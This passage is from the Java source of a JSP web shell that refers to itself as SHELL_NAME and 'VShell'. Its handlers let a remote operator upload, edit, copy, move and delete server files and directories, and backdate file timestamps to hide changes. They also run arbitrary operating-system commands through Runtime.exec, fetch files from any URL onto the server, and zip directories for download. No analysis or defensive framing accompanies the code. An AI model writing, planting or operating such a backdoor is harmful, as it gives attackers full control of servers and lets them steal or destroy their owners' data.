  1496. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1497. try {
  1498. UploadBean fileBean = new UploadBean();
  1499. response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
  1500. fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
  1501. fileBean.parseRequest(request);
  1502. JSession.setAttribute(MSG,"Upload File Success!");
  1503. response.sendRedirect(SHELL_NAME);
  1504. } catch (Exception e) {
  1505.  
  1506. throw e ;
  1507. }
  1508. }
  1509. }
  1510. private static class CopyInvoker extends DefaultInvoker {
  1511. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1512. try {
  1513. String src = request.getParameter("src");
  1514. String to = request.getParameter("to");
  1515. InputStream in = null;
  1516. Object enter = JSession.getAttribute(ENTER);
  1517. if (enter == null)
  1518. in = new FileInputStream(new File(src));
  1519. else {
  1520. ZipFile zf = new ZipFile((String)enter);
  1521. ZipEntry entry = zf.getEntry(src);
  1522. in = zf.getInputStream(entry);
  1523. }
  1524. BufferedInputStream input = new BufferedInputStream(in);
  1525. BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
  1526. byte[] d = new byte[1024];
  1527. int len = input.read(d);
  1528. while(len != -1) {
  1529. output.write(d,0,len);
  1530. len = input.read(d);
  1531. }
  1532. output.close();
  1533. input.close();
  1534. JSession.setAttribute(MSG,"Copy File Success!");
  1535. response.sendRedirect(SHELL_NAME);
  1536. } catch (Exception e) {
  1537.  
  1538. throw e ;
  1539. }
  1540. }
  1541. }
  1542. private static class BottomInvoker extends DefaultInvoker {
  1543. public boolean doBefore() {return false;}
  1544. public boolean doAfter() {return false;}
  1545. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1546. try {
  1547. response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2009 &nbsp;&nbsp; All Rights Reserved."+
  1548. "</div>");
  1549. } catch (Exception e) {
  1550.  
  1551. throw e ;
  1552. }
  1553. }
  1554. }
  1555. private static class VCreateFileInvoker extends DefaultInvoker {
  1556. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1557. try {
  1558. PrintWriter out = response.getWriter();
  1559. String path = request.getParameter("filepath");
  1560. File f = new File(path);
  1561. if (!f.isAbsolute()) {
  1562. String oldPath = path;
  1563. path = JSession.getAttribute(CURRENT_DIR).toString();
  1564. if (!path.endsWith("/"))
  1565. path+="/";
  1566. path+=oldPath;
  1567. f = new File(path);
  1568. f.createNewFile();
  1569. } else {
  1570. f.createNewFile();
  1571. }
  1572. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1573. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1574. "<h2>Create / Edit File &raquo;</h2>"+
  1575. "<input type='hidden' name='o' value='createFile'>"+
  1576. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1577. " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
  1578. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
  1579. "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1580. "</form>"+
  1581. "</td></tr></table>");
  1582. } catch (Exception e) {
  1583.  
  1584. throw e ;
  1585. }
  1586. }
  1587. }
  1588. private static class VEditInvoker extends DefaultInvoker {
  1589. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1590. try {
  1591. PrintWriter out = response.getWriter();
  1592. String path = request.getParameter("filepath");
  1593. String charset = request.getParameter("charset");
  1594. Object enter = JSession.getAttribute(ENTER);
  1595. InputStream input = null;
  1596. if (enter != null) {
  1597. ZipFile zf = new ZipFile((String)enter);
  1598. ZipEntry entry = new ZipEntry(path);
  1599. input = zf.getInputStream(entry);
  1600. } else {
  1601. File f = new File(path);
  1602. if (!f.exists())
  1603. return;
  1604. input = new FileInputStream(path);
  1605. }
  1606.  
  1607. BufferedReader reader = null;
  1608. if (Util.isEmpty(charset) || charset.equals("ANSI"))
  1609. reader = new BufferedReader(new InputStreamReader(input));
  1610. else
  1611. reader = new BufferedReader(new InputStreamReader(input,charset));
  1612. StringBuffer content = new StringBuffer();
  1613. String s = reader.readLine();
  1614. while (s != null) {
  1615. content.append(s+"\r\n");
  1616. s = reader.readLine();
  1617. }
  1618. reader.close();
  1619. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1620. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1621. "<h2>Create / Edit File &raquo;</h2>"+
  1622. "<input type='hidden' name='o' value='createFile'>"+
  1623. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1624. " <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
  1625. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
  1626. "<p>");
  1627. if (enter != null)
  1628. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
  1629. else
  1630. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
  1631. out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1632. "</form>"+
  1633. "</td></tr></table>");
  1634.  
  1635. } catch (Exception e) {
  1636.  
  1637. throw e ;
  1638. }
  1639. }
  1640. }
  1641. private static class CreateFileInvoker extends DefaultInvoker {
  1642. public boolean doBefore(){return false;}
  1643. public boolean doAfter(){return false;}
  1644. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1645. try {
  1646. PrintWriter out = response.getWriter();
  1647. String path = request.getParameter("filepath");
  1648. String content = request.getParameter("filecontent");
  1649. String charset = request.getParameter("charset");
  1650. BufferedWriter outs = null;
  1651. if (charset.equals("ANSI"))
  1652. outs = new BufferedWriter(new FileWriter(new File(path)));
  1653. else
  1654. outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
  1655. outs.write(content,0,content.length());
  1656. outs.close();
  1657. JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
  1658. response.sendRedirect(SHELL_NAME);
  1659. } catch (Exception e) {
  1660.  
  1661. throw e ;
  1662. }
  1663. }
  1664. }
  1665. private static class VEditPropertyInvoker extends DefaultInvoker {
  1666. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1667. try {
  1668. PrintWriter out = response.getWriter();
  1669. String filepath = request.getParameter("filepath");
  1670. File f = new File(filepath);
  1671. if (!f.exists())
  1672. return;
  1673. String read = f.canRead() ? "checked=\"checked\"" : "";
  1674. String write = f.canWrite() ? "checked=\"checked\"" : "";
  1675. Calendar cal = Calendar.getInstance();
  1676. cal.setTimeInMillis(f.lastModified());
  1677.  
  1678. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1679. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1680. "<h2>Set File Property &raquo;</h2>"+
  1681. "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
  1682. "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
  1683. "<p>"+
  1684. " <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
  1685. " <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
  1686. "</p>"+
  1687. "<p>Instead &raquo;"+
  1688. "year:"+
  1689. "<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
  1690. "month:"+
  1691. "<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
  1692. "day:"+
  1693. "<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
  1694. ""+
  1695. "hour:"+
  1696. "<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
  1697. "minute:"+
  1698. "<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
  1699. "second:"+
  1700. "<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
  1701. "</p>"+
  1702. "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
  1703. "</form>"+
  1704. "</td></tr></table>");
  1705. } catch (Exception e) {
  1706. throw e ;
  1707. }
  1708. }
  1709. }
  1710. private static class EditPropertyInvoker extends DefaultInvoker {
  1711. public boolean doBefore(){return false;}
  1712. public boolean doAfter(){return false;}
  1713. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1714. try {
  1715. String f = request.getParameter("file");
  1716. File file = new File(f);
  1717. if (!file.exists())
  1718. return;
  1719.  
  1720. String year = request.getParameter("year");
  1721. String month = request.getParameter("month");
  1722. String date = request.getParameter("date");
  1723. String hour = request.getParameter("hour");
  1724. String minute = request.getParameter("minute");
  1725. String second = request.getParameter("second");
  1726.  
  1727. Calendar cal = Calendar.getInstance();
  1728. cal.set(Calendar.YEAR,Integer.parseInt(year));
  1729. cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
  1730. cal.set(Calendar.DATE,Integer.parseInt(date));
  1731. cal.set(Calendar.HOUR,Integer.parseInt(hour));
  1732. cal.set(Calendar.MINUTE,Integer.parseInt(minute));
  1733. cal.set(Calendar.SECOND,Integer.parseInt(second));
  1734. if(file.setLastModified(cal.getTimeInMillis())){
  1735. JSession.setAttribute(MSG,"Reset File Property Success!");
  1736. } else {
  1737. JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
  1738. }
  1739. response.sendRedirect(SHELL_NAME);
  1740. } catch (Exception e) {
  1741.  
  1742. throw e ;
  1743. }
  1744. }
  1745. }
  1746. //VShell
  1747. private static class VsInvoker extends DefaultInvoker{
  1748. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1749. try {
  1750. PrintWriter out = response.getWriter();
  1751. String cmd = request.getParameter("command");
  1752. String program = request.getParameter("program");
  1753. if (cmd == null) {
  1754. if (ISLINUX)
  1755. cmd = "id";
  1756. else
  1757. cmd = "cmd.exe /c set";
  1758. }
  1759. if (program == null)
  1760. program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
  1761. if (JSession.getAttribute(MSG)!=null) {
  1762. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  1763. JSession.removeAttribute(MSG);
  1764. }
  1765. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1766. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1767. "<h2>Execute Program &raquo;</h2>"+
  1768. "<p>"+
  1769. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1770. "<input type=\"hidden\" name=\"type\" value=\"program\">"+
  1771. "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
  1772. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1773. "</p>"+
  1774. "</form>"+
  1775. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1776. "<h2>Execute Shell &raquo;</h2>"+
  1777. "<p>"+
  1778. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1779. "<input type=\"hidden\" name=\"type\" value=\"command\">"+
  1780. "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
  1781. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1782. "</p>"+
  1783. "</form>"+
  1784. "</td>"+
  1785. "</tr></table>");
  1786. } catch (Exception e) {
  1787.  
  1788. throw e ;
  1789. }
  1790. }
  1791. }
  1792. private static class ShellInvoker extends DefaultInvoker{
  1793. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1794. try {
  1795. PrintWriter out = response.getWriter();
  1796. String type = request.getParameter("type");
  1797. if (type.equals("command")) {
  1798. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1799. out.println("<div style='margin:10px'><hr/>");
  1800. out.println("<pre>");
  1801. String command = request.getParameter("command");
  1802. if (!Util.isEmpty(command)) {
  1803. Process pro = Runtime.getRuntime().exec(command);
  1804. BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
  1805. String s = reader.readLine();
  1806. while (s != null) {
  1807. out.println(Util.htmlEncode(Util.getStr(s)));
  1808. s = reader.readLine();
  1809. }
  1810. reader.close();
  1811. reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
  1812. s = reader.readLine();
  1813. while (s != null) {
  1814. out.println(Util.htmlEncode(Util.getStr(s)));
  1815. s = reader.readLine();
  1816. }
  1817. reader.close();
  1818. out.println("</pre></div>");
  1819. }
  1820. } else {
  1821. String program = request.getParameter("program");
  1822. if (!Util.isEmpty(program)) {
  1823. Process pro = Runtime.getRuntime().exec(program);
  1824. JSession.setAttribute(MSG,"Program Has Run Success!");
  1825. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1826. }
  1827. }
  1828. } catch (Exception e) {
  1829.  
  1830. throw e ;
  1831. }
  1832. }
  1833. }
  1834. private static class DownInvoker extends DefaultInvoker{
  1835. public boolean doBefore(){return false;}
  1836. public boolean doAfter(){return false;}
  1837. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1838. try {
  1839. String path = request.getParameter("path");
  1840. if (Util.isEmpty(path))
  1841. return;
  1842. InputStream i = null;
  1843. Object enter = JSession.getAttribute(ENTER);
  1844. String fileName = null;
  1845. if (enter == null) {
  1846. File f = new File(path);
  1847. if (!f.exists())
  1848. return;
  1849. fileName = f.getName();
  1850. i = new FileInputStream(f);
  1851. } else {
  1852. ZipFile zf = new ZipFile((String)enter);
  1853. ZipEntry entry = new ZipEntry(path);
  1854. fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
  1855. i = zf.getInputStream(entry);
  1856. }
  1857. response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
  1858. BufferedInputStream input = new BufferedInputStream(i);
  1859. BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
  1860. byte[] data = new byte[1024];
  1861. int len = input.read(data);
  1862. while (len != -1) {
  1863. output.write(data,0,len);
  1864. len = input.read(data);
  1865. }
  1866. input.close();
  1867. output.close();
  1868. } catch (Exception e) {
  1869.  
  1870. throw e ;
  1871. }
  1872. }
  1873. }
  1874. //VDown
  1875. private static class VdInvoker extends DefaultInvoker {
  1876. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1877. try {
  1878. PrintWriter out = response.getWriter();
  1879. String savepath = request.getParameter("savepath");
  1880. String url = request.getParameter("url");
  1881. if (Util.isEmpty(url))
  1882. url = "http://www.google.com/";
  1883. if (Util.isEmpty(savepath)) {
  1884. savepath = JSession.getAttribute(CURRENT_DIR).toString();
  1885. }
  1886. if (!Util.isEmpty(JSession.getAttribute("done"))) {
  1887. Util.outMsg(out,"Download Remote File Success!");
  1888. JSession.removeAttribute("done");
  1889. }
  1890. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1891. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1892. "<h2>Remote File DownLoad &raquo;</h2>"+
  1893. "<p>"+
  1894. "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
  1895. "<p>File&nbsp;&nbsp;&nbsp;URL: "+
  1896. " <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
  1897. "<p>Save Path: "+
  1898. "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
  1899. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
  1900. "</p>"+
  1901. "</form></table>");
  1902. } catch (Exception e) {
  1903.  
  1904. throw e ;
  1905. }
  1906. }
  1907. }
  1908. private static class DownRemoteInvoker extends DefaultInvoker {
  1909. public boolean doBefore(){return true;}
  1910. public boolean doAfter(){return true;}
  1911. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1912. try {
  1913. String downFileUrl = request.getParameter("url");
  1914. String savePath = request.getParameter("savepath");
  1915. if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
  1916. return;
  1917. URL downUrl = new URL(downFileUrl);
  1918. URLConnection conn = downUrl.openConnection();
  1919.  
  1920. File tempF = new File(savePath);
  1921. File saveF = tempF;
  1922. if (tempF.isDirectory()) {
  1923. String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
  1924. saveF = new File(tempF,fName);
  1925. }
  1926. BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
  1927. BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
  1928. byte[] data = new byte[1024];
  1929. int len = in.read(data);
  1930. while (len != -1) {
  1931. out.write(data,0,len);
  1932. len = in.read(data);
  1933. }
  1934. in.close();
  1935. out.close();
  1936. JSession.setAttribute("done","d");
  1937. ((Invoker)ins.get("vd")).invoke(request,response,JSession);
  1938. } catch (Exception e) {
  1939.  
  1940. throw e ;
  1941. }
  1942. }
  1943. }
  1944. private static class IndexInvoker extends DefaultInvoker {
  1945. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1946. try {
  1947. ((Invoker)ins.get("filelist")).invoke(request,response,JSession);
  1948. } catch (Exception e) {
  1949.  
  1950. throw e ;
  1951. }
  1952. }
  1953. }
  1954. private static class MkDirInvoker extends DefaultInvoker {
  1955. public boolean doBefore(){return false;}
  1956. public boolean doAfter(){return false;}
  1957. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1958. try {
  1959. String name = request.getParameter("name");
  1960. File f = new File(name);
  1961. if (!f.isAbsolute()) {
  1962. String path = JSession.getAttribute(CURRENT_DIR).toString();
  1963. if (!path.endsWith("/"))
  1964. path += "/";
  1965. path += name;
  1966. f = new File(path);
  1967. }
  1968. f.mkdirs();
  1969. JSession.setAttribute(MSG,"Make Directory Success!");
  1970. response.sendRedirect(SHELL_NAME);
  1971. } catch (Exception e) {
  1972.  
  1973. throw e ;
  1974. }
  1975. }
  1976. }
  1977. private static class MoveInvoker extends DefaultInvoker {
  1978. public boolean doBefore(){return false;}
  1979. public boolean doAfter(){return false;}
  1980. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1981. try {
  1982. PrintWriter out = response.getWriter();
  1983. String src = request.getParameter("src");
  1984. String target = request.getParameter("to");
  1985. if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
  1986. File file = new File(src);
  1987. if(file.renameTo(new File(target))) {
  1988. JSession.setAttribute(MSG,"Move File Success!");
  1989. } else {
  1990. String msg = "Move File Failed!";
  1991. if (file.isDirectory()) {
  1992. msg += "The Move Will Failed When The Directory Is Not Empty.";
  1993. }
  1994. JSession.setAttribute(MSG,msg);
  1995. }
  1996. response.sendRedirect(SHELL_NAME);
  1997. }
  1998. } catch (Exception e) {
  1999.  
  2000. throw e ;
  2001. }
  2002. }
  2003. }
  2004. private static class RemoveDirInvoker extends DefaultInvoker {
  2005. public boolean doBefore(){return false;}
  2006. public boolean doAfter(){return false;}
  2007. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2008. try {
  2009. String dir = request.getParameter("dir");
  2010. File file = new File(dir);
  2011. if (file.exists()) {
  2012. deleteFile(file);
  2013. deleteDir(file);
  2014. }
  2015.  
  2016. JSession.setAttribute(MSG,"Remove Directory Success!");
  2017. response.sendRedirect(SHELL_NAME);
  2018. } catch (Exception e) {
  2019.  
  2020. throw e ;
  2021. }
  2022. }
  2023. public void deleteFile(File f) {
  2024. if (f.isFile()) {
  2025. f.delete();
  2026. }else {
  2027. File[] list = f.listFiles();
  2028. for (int i = 0;i<list.length;i++) {
  2029. File ff=list[i];
  2030. deleteFile(ff);
  2031. }
  2032. }
  2033. }
  2034. public void deleteDir(File f) {
  2035. File[] list = f.listFiles();
  2036. if (list.length == 0) {
  2037. f.delete();
  2038. } else {
  2039. for (int i = 0;i<list.length;i++) {
  2040. File ff=list[i];
  2041. deleteDir(ff);
  2042. }
  2043. deleteDir(f);
  2044. }
  2045. }
  2046. }
  2047. private static class PackBatchInvoker extends DefaultInvoker{
  2048. public boolean doBefore(){return false;}
  2049. public boolean doAfter(){return false;}
  2050. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2051. try {
  2052. String files = request.getParameter("files");
  2053. if (Util.isEmpty(files))
  2054. return;
  2055. String saveFileName = request.getParameter("savefilename");
  2056. File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2057. if (saveF.exists()) {
  2058. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2059. response.sendRedirect(SHELL_NAME);
  2060. return;
  2061. }
  2062. ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2063. String[] arr = files.split(",");
  2064. for (int i = 0;i<arr.length;i++) {
  2065. String f=arr[i];
  2066. File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
  2067. ZipEntry entry = new ZipEntry(pF.getName());
  2068. zout.putNextEntry(entry);
  2069. FileInputStream fInput = new FileInputStream(pF);
  2070. int len = 0;
  2071. byte[] buf = new byte[1024];
  2072. while ((len = fInput.read(buf)) != -1) {
  2073. zout.write(buf, 0, len);
  2074. zout.flush();
  2075. }
  2076. fInput.close();
  2077. }
  2078. zout.close();
  2079. JSession.setAttribute(MSG,"Pack Files Success!");
  2080. response.sendRedirect(SHELL_NAME);
  2081. } catch (Exception e) {
  2082.  
  2083. throw e;
  2084. }
  2085. }
  2086. }
  2087. private static class VPackConfigInvoker extends DefaultInvoker{
  2088. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2089. try {
  2090. PrintWriter out = response.getWriter();
  2091. String packfile = request.getParameter("packedfile");
  2092. String currentd = JSession.getAttribute(CURRENT_DIR).toString();
  2093. out.println("<form action='"+SHELL_NAME+"' method='post'>"+
  2094. "<input type='hidden' name='o' value='pack'/>"+
  2095. "<input type='hidden' name='config' value='true'/>"+
  2096. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2097. " <tr>"+
  2098. " <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"+
  2099. " <div id=\"hOWTm\">"+
  2100. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2101. " <tr align=\"center\">"+
  2102. " <td style=\"width:5%\"></td>"+
  2103. " <td align=\"center\"><table border=\"0\">"+
  2104. " <tr>"+
  2105. " <td>Packed Dir</td>"+
  2106. " <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
  2107. " </tr>"+
  2108. " <tr>"+
  2109. " <td>Save To</td>"+
  2110. " <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
  2111. " </tr>"+
  2112. " <tr>"+
  2113. " <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
  2114. " <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
  2115. " <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
  2116. " </fieldset></td>"+
  2117. " </tr>"+
  2118. " <tr>"+
  2119. " <td>Filesize Filter</td>"+
  2120. " <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
  2121. " <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
  2122. " </tr>"+
  2123. " <tr>"+
  2124. " <td>Exclude Dir</td>"+
  2125. " <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
  2126. " </tr>"+
  2127. " </table></td>"+
  2128. " </tr>"+
  2129. " <tr align=\"center\">"+
  2130. " <td colspan=\"2\">"+
  2131. " <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
  2132. " </td>"+
  2133. " </tr>"+
  2134. " </table>"+
  2135. " </div></td>"+
  2136. " </tr>"+
  2137. " </table></form>"
  2138. );
  2139. } catch (Exception e) {
  2140.  
  2141. throw e;
  2142. }
  2143. }
  2144. }
  2145. private static class PackInvoker extends DefaultInvoker {
  2146. public boolean doBefore(){return false;}
  2147. public boolean doAfter(){return false;}
  2148. private boolean config = false;
  2149. private String extFilter = "blacklist";
  2150. private String[] fileExts = null;
  2151. private String sizeFilter = "no";
  2152. private int filesize = 0;
  2153. private String[] exclude = null;
  2154. private String packFile = null;
  2155. private void reset(){
  2156. this.config = false;
  2157. this.extFilter = "blacklist";
  2158. this.fileExts = null;
  2159. this.sizeFilter = "no";
  2160. this.filesize = 0;
  2161. this.exclude = null;
  2162. this.packFile = null;
  2163. }
  2164. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2165. try {
  2166. String config = request.getParameter("config");
  2167. if (!Util.isEmpty(config) && config.equals("true")) {
  2168. this.config = true;
  2169. this.extFilter = request.getParameter("extfilter");
  2170. this.fileExts = request.getParameter("fileext").split(",");
  2171. this.sizeFilter = request.getParameter("sizefilter");
  2172. this.filesize = Integer.parseInt(request.getParameter("filesize"));
  2173. this.exclude = request.getParameter("exclude").split(",");
  2174. }
  2175. String packedFile = request.getParameter("packedfile");
  2176. if (Util.isEmpty(packedFile))
  2177. return;
  2178. this.packFile = packedFile;
  2179. String saveFileName = request.getParameter("savefilename");
  2180. File saveF = null;
  2181. if (this.config)
  2182. saveF = new File(saveFileName);
  2183. else
  2184. saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2185. if (saveF.exists()) {
  2186. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2187. response.sendRedirect(SHELL_NAME);
  2188. return;
  2189. }
  2190. File pF = new File(packedFile);
  2191. ZipOutputStream zout = null;
  2192. String base = "";
  2193. if (pF.isDirectory()) {
  2194. if (pF.listFiles().length == 0) {
  2195. JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
  2196. response.sendRedirect(SHELL_NAME);
  2197. this.reset();
  2198. return;
  2199. }
  2200. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2201. zipDir(pF,base,zout);
  2202. } else {
  2203. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2204. zipFile(pF,base,zout);
  2205. }
  2206. zout.close();
  2207. this.reset();
  2208. JSession.setAttribute(MSG,"Pack File Success!");
  2209. response.sendRedirect(SHELL_NAME);
  2210. } catch (Exception e) {
  2211. throw e;
  2212. }
  2213. }
  2214. public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
  2215. if (f.isDirectory()) {
  2216. if (this.config) {
  2217. String curName = f.getAbsolutePath().replace('\\','/');
  2218. curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
  2219. if (this.exclude != null) {
  2220. for (int i = 0;i<exclude.length;i++) {
  2221. if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
  2222. return;
  2223. }
  2224. }
  2225. }
  2226. }
  2227. File[] arr = f.listFiles();
  2228. for (int i = 0;i<arr.length;i++) {
  2229. File ff=arr[i];
  2230. String tmpBase = base;
